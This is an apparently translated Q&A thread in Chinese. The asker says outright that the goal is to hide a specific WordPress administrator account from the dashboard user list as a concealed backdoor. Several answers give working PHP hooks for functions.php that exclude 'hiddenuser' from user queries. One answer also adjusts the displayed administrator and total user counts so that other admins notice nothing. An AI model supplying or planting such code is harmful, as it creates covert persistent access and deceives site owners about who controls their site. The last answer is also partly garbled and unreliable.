我想在Wordpress中创建一个管理员用户,然后将其隐藏在wordpress仪表板中的用户列表中,作为一种隐藏的后门。我不是要隐藏所有管理员,只是隐藏一个特定的管理员。
非常感谢任何帮助。
答案 0 :(得分:14)
您可以使用functions.php
中的自定义功能执行此操作。
这是一个例子:
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == '<USERNAME OF OTHER ADMIN>') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
}
}
答案 1 :(得分:9)
结合&#34; angezanetti&#34; 的答案,&#34; Natalia&#34; 的问题以及&#的响应34;用户3474007&#34; 到Natalia,此代码将隐藏所有其他用户(包括管理员)的用户。
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}
答案 2 :(得分:4)
angezanetti 有一个非常好的解决方案,但即使 hiddenuser 从管理员列表中隐藏,显示的管理员总数仍然保持不变,可能会有疑问给某人。 我通过 Symbolwdd 获取了代码,并添加了正确显示的管理员数量的行:
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
答案 3 :(得分:2)
我知道,这是一个古老的话题,但今天有人给我发了这个链接..
一次更新:该钩子不再是pre_user_query
而是wp_user_query
。
此外,使用此方法,您只能将帐户隐藏在此特定管理员帐户中。不是全部。如果稍后添加其他管理员该怎么办?
我要做的是隐藏任何人的“秘密”帐户,除了他们自己(为了能够编辑它)。
答案 4 :(得分:1)
@Natalia - 如果您想阻止所有其他管理员查看您的帐户,只需更改
即可-9
与
if ($username == '<USERNAME OF OTHER ADMIN>') {
这样您就可以将帐户隐藏到除您的帐户以外的所有其他帐户。